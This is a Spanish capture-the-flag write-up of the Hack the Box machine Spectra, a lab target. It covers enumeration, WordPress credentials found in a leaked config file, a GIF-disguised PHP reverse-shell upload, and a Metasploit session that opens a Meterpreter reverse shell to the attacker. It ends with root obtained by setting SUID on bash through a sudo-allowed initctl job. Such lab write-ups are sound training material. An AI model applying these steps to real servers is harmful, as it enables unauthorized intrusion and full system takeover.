Spectra Writeup

FácilLinux
Las flags que resuelven este reto se encuentran protegidas. Comparte el artículo en redes sociales para desbloquearlas.
$User Flag
e89d27fe...
#Root Flag
d4451971...

En este writeup vamos a ver cómo resolver la máquina Spectra de la plataforma de Hack the Box.

Conexión

Conectar nuestra máquina de ataque a la VPN:

$ openvpn gorkamu-htb.ovpn

Enumeración

Empezamos haciendo un escaneo de puertos:

$ sudo nmap -sS -sC -sV --min-rate 5000 -n -Pn -vvv -p22,80,3306 10.10.10.229 -oN nmap_services.txt PORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack ttl 63 OpenSSH 8.1 (protocol 2.0) | ssh-hostkey: | 4096 52:47:de:5c:37:4f:29:0e:8e:1d:88:6e:f9:23:4d:5a (RSA) 80/tcp open http syn-ack ttl 63 nginx 1.17.4 | http-methods: |_ Supported Methods: GET HEAD |_http-server-header: nginx/1.17.4 |_http-title: Site doesn't have a title (text/html). 3306/tcp open mysql syn-ack ttl 63 MySQL (unauthorized) |_ssl-cert: ERROR: Script execution failed (use -d to debug) |_ssl-date: ERROR: Script execution failed (use -d to debug) |_sslv2: ERROR: Script execution failed (use -d to debug) |_tls-alpn: ERROR: Script execution failed (use -d to debug) |_tls-nextprotoneg: ERROR: Script execution failed (use -d to debug)

Vemos que tiene el puerto 80 abierto así que vamos a lanzar un script básico de enumeración en nmap y un whatweb.

$ nmap --script http-enum 10.10.10.229 -v -oN nmap_http_enum.txt 80/tcp open http | http-enum: |_ /testing/: Potentially interesting folder w/ directory listing $ whatweb 10.10.10.229 http://10.10.10.229 [200 OK] Country[RESERVED][ZZ], HTTPServer[nginx/1.17.4], IP[10.10.10.229], nginx[1.17.4]

Si abrimos el navegador web y ponemos la ip empezamos a ver dos cosas interesantes.

Por un lado tenemos que los enlaces de la página principal apuntan a un dominio spectra.htb, por lo que tendremos que añadirlo a nuestro fichero /etc/hosts

puerto 80
puerto 80

Por otro lado según el análisis de http-enum de nmap vemos que el directorio /testing/ existe y tiene directory listing activado y muestra lo que parece ser una instalación de Wordpress

instalacion wordpress
instalacion wordpress

Por esta vía, si inspeccionamos el fichero wp-config.php.save encontramos las siguientes credenciales:

wpconfig
wpconfig

Vamos a lanzar un wfuzz a la IP a ver si vemos algo:

$ wfuzz -c --hc=404 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://10.10.10.229/FUZZ

No parece haber nada salvo los directorios /main/ y /testing/

Si analizamos las cabeceras HTTP encontramos algunas interesantes:

Si volvemos a revisar el wordpress que se encuentra en main podremos ver que el usuario que ha publicado la primera entrada se llama “administrator” así que vamos a intentar loguearnos con ese usuario y las credenciales encontradas anteriormente.

Capturar User Flag

  • Usuario: administrator
  • Password: devteam01

Entramos al panel de administración de Wordpress.

Si intentamos subir una reverse shell en php nos dará un error de que no se puede subir ese tipo de ficheros por seguridad y si intentamos modificar la plantilla 404.php para incluir una llamada a system tampoco nos dejará.

Para subir la reverse shell en php vamos a modificar su magic number añadiendo lo siguiente al ppio del fichero (GIF8)

magic number
magic number

Haciendo esto y añadiendo una segunda extensión gif al fichero original, el sistema nos lo reconocerá como un fichero GIF y nos lo dejará subir.

php-reverse-shell
php-reverse-shell

Ahora, abrimos una pestaña nueva con una conexión netcat escuchando y accedemos al recurso.

Y no funciona.

Iremos por metasploit.

$ msfconsole msf6 > use exploit/unix/webapp/wp_admin_shell_upload msf6 > set username administrator msf6 > set password devteam01 msf6 > set targeturi /main msf6 > set rhost 10.10.10.229 msf6 > run [*] Authenticating with WordPress using administrator:devteam01... [+] Authenticated with WordPress [*] Preparing payload... [*] Uploading payload... [*] Executing the payload at /main/wp-content/plugins/OWBFNyezxb/qYWyUnpzWd.php... [*] Sending stage (39282 bytes) to 10.10.10.229 [+] Deleted qYWyUnpzWd.php [+] Deleted OWBFNyezxb.php [+] Deleted ../OWBFNyezxb [*] Meterpreter session 1 opened (10.10.14.20:4444 -> 10.10.10.229:43584) at 2021-06-10 16:04:07 +0200 meterpreter > shell Process 4458 created. Channel 0 created. sh: 0: getcwd() failed: No such file or directory sh: 0: getcwd() failed: No such file or directory id uid=20155(nginx) gid=20156(nginx) groups=20156(nginx)

Si navegamos al directorio /opt veremos el fichero autologin.conf.orig y al leerlo veremos lo siguiente:

autologin file
autologin file

Ahí hace referencia a dos directorios pero si nos dirigimos al segundo, a /etc/autologin veremos el fichero passwd con el siguiente contenido

SummerHereWeCome!!

Si probamos a conectarnos por ssh con el usuario katie y esta contraseña lo lograremos.

En su directorio tendremos el fichero user.txt con la user flag.

Capturar Root Flag

Para capturar la root flag nos tenemos que fijar en los permisos del usuario katie.

Para ello:

$ sudo -l User katie may run the following commands on spectra: (ALL) SETENV: NOPASSWD: /sbin/initctl

Esto nos dice que puede ejecutar /sbin/initctl como sudo sin necesidad de poner la contraseña.

Este demonio nos permite comunicarnos con el init de Upstar, es decir, comunicarnos con aquellos programas que se ejecutan al arrancar la máquina.

Si nos dirigimos a /etc/init podremos ver cuántos de ellos se levantan automáticamente.

services
services

Tenemos que editar el fichero /etc/init/test.conf y añadir lo siguiente:

payload
payload

Esto hará que al ejecutar /sbin/initctl como root y reiniciemos el servicio test, le añada el byte de SUID a /bin/bash.

$ sudo /sbin/initctl start test test start/running, process 4233 $ /bin/bash -p # whoami # root

Ahora simplemente tendremos que leer el fichero /root/root.txt para obtener la root flag

También te puede interesar

Sunday Writeup

Sunday Writeup

Tartarsauce Writeup

Tartarsauce Writeup

Tenet Writeup

Tenet Writeup